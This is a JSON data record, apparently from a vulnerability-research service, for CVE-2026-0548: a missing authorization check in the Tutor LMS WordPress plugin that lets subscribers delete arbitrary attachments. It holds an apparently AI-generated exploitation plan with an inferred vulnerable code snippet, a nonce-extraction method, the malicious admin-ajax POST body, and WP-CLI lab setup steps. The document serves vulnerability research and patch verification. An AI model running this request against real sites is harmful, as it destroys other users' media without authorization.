[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fVvYs6_YrlTNp5Fm0_1wYOtqeaXgmArNG9fSnjp5igKw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":26,"research_started_at":27,"research_completed_at":28,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":29},"CVE-2026-0548","tutor-lms-elearning-and-online-course-solution-missing-authorization-to-authenticated-subscriber-limited-attachment-dele","Tutor LMS – eLearning and online course solution \u003C= 3.9.4 - Missing Authorization to Authenticated (Subscriber+) Limited Attachment Deletion","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized attachment deletion due to a missing capability check on the `delete_existing_user_photo` function in all versions up to, and including, 3.9.4. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary attachments on the site.","tutor",null,"\u003C=3.9.4","3.9.5","medium",5.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:L","Missing Authorization","2026-01-20 01:46:19","2026-01-20 14:26:32",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0e475e02-494a-4ad0-a83c-d027c3a32989?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-0548 (Tutor LMS Arbitrary Attachment Deletion)\n\n## 1. Vulnerability Summary\nThe **Tutor LMS** plugin (\u003C= 3.9.4) contains a missing authorization vulnerability in the `delete_existing_user_photo` function. This function is intended to allow users to delete their own profile or cover photos. However, because it lacks a capability check and fails to verify that the attachment ID belongs to the requesting user, an authenticated attacker with at least **Subscriber** privileges can delete arbitrary attachments (images, documents, etc.) from the WordPress media library by providing the target attachment ID.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `tutor_delete_existing_user_photo` (inferred from function name)\n*   **Parameter:** `attachment_id` or `photo_id` (inferred)\n*   **Authentication:** Authenticated (Subscriber or higher).\n*   **Preconditions:** The attacker must know the ID of the attachment they wish to delete.\n\n## 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers an AJAX action for logged-in users:\n    `add_action('wp_ajax_tutor_delete_existing_user_photo', 'delete_existing_user_photo');`\n2.  **Function Call:** When a request is made to `admin-ajax.php` with `action=tutor_delete_existing_user_photo`, the `delete_existing_user_photo()` function is executed.\n3.  **Vulnerable Logic:**\n    ```php\n    public function delete_existing_user_photo() {\n        \u002F\u002F Missing: current_user_can() check\n        \u002F\u002F Missing: verification that the attachment belongs to the current user\n        $attachment_id = (int) $_POST['attachment_id']; \n        wp_delete_attachment($attachment_id, true); \u002F\u002F Sink: Deletes the file and DB entry\n        wp_send_json_success();\n    }\n    ```\n4.  **Sink:** `wp_delete_attachment()` is called directly on the user-provided ID.\n\n## 4. Nonce Acquisition Strategy\nTutor LMS typically uses a central nonce for its AJAX operations, often localized as `tutor_nonce`.\n\n1.  **Identify Trigger:** The profile photo deletion logic is part of the Tutor LMS \"Settings\" or \"Profile Edit\" page.\n2.  **Create Page:** Ensure a page exists with the Tutor LMS Dashboard shortcode:\n    `wp post create --post_type=page --post_status=publish --post_title=\"Dashboard\" --post_content='[tutor_dashboard]'`\n3.  **Extract Nonce:**\n    *   Navigate to the Dashboard page as the Subscriber user.\n    *   Tutor LMS localizes data into a global JavaScript object, usually `tutor_get_conf`.\n    *   **Browser Eval Command:** `browser_eval(\"window.tutor_get_conf?.nonce\")` or `browser_eval(\"window.tutor_get_conf?.tutor_nonce\")`.\n\n## 5. Exploitation Strategy\n1.  **Identify Target:** Find an attachment ID belonging to the Admin (e.g., a header image or sensitive upload).\n2.  **Authenticate:** Log in as a Subscriber-level user.\n3.  **Obtain Nonce:** Use the `browser_eval` method mentioned above on the `[tutor_dashboard]` page.\n4.  **Send Malicious Request:**\n    *   **Tool:** `http_request`\n    *   **Method:** POST\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Body (URL Encoded):**\n        ```\n        action=tutor_delete_existing_user_photo&attachment_id=[TARGET_ID]&_wpnonce=[NONCE]\n        ```\n    *   *Note:* If the parameter name is not `attachment_id`, check for `photo_id` or `media_id`.\n\n## 6. Test Data Setup\n1.  **Admin Attachment:** Upload an image as an administrator to serve as the target.\n    `wp media import \u002Fpath\u002Fto\u002Fimage.jpg --title=\"Admin Secret Image\"`\n    *Record the resulting ID (e.g., ID 123).*\n2.  **Subscriber User:** Create a standard subscriber.\n    `wp user create attacker attacker@example.com --role=subscriber --user_pass=password123`\n3.  **Dashboard Page:** Create the Tutor LMS dashboard page to ensure scripts and nonces are loaded.\n    `wp post create --post_type=page --post_status=publish --post_content='[tutor_dashboard]'`\n\n## 7. Expected Results\n*   **Response:** The server should return a JSON success message (e.g., `{\"success\":true}`).\n*   **System State:** The attachment with the target ID should be completely removed from the `wp_posts` table and the physical file should be deleted from `wp-content\u002Fuploads\u002F`.\n\n## 8. Verification Steps\n1.  **Database Check:**\n    `wp db query \"SELECT ID FROM wp_posts WHERE ID = [TARGET_ID]\"`\n    *Success: Query returns no results.*\n2.  **Media Check:**\n    `wp post exists [TARGET_ID]`\n    *Success: Returns error or empty string.*\n3.  **File Check:** Check the path returned by `wp post get [TARGET_ID] --field=guid` (before deletion) to ensure the file is gone.\n\n## 9. Alternative Approaches\n*   **Parameter Guessing:** If `attachment_id` fails, try `image_id`, `photo_id`, or `id`.\n*   **Contextual Nonces:** Check if the nonce is located in a different localized object like `tutor_vars` or `tutor_data`.\n*   **Rest API:** Check if Tutor LMS registers a REST route for the same function, as authorization is often missed in both AJAX and REST handlers. Look for `register_rest_route` with a callback to `delete_existing_user_photo`.","gemini-3-flash-preview","2026-05-05 04:31:30","2026-05-05 04:33:12",{"type":30,"vulnerable_version":31,"fixed_version":11,"vulnerable_browse":32,"vulnerable_zip":33,"fixed_browse":34,"fixed_zip":35,"all_tags":36},"plugin","3.9.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]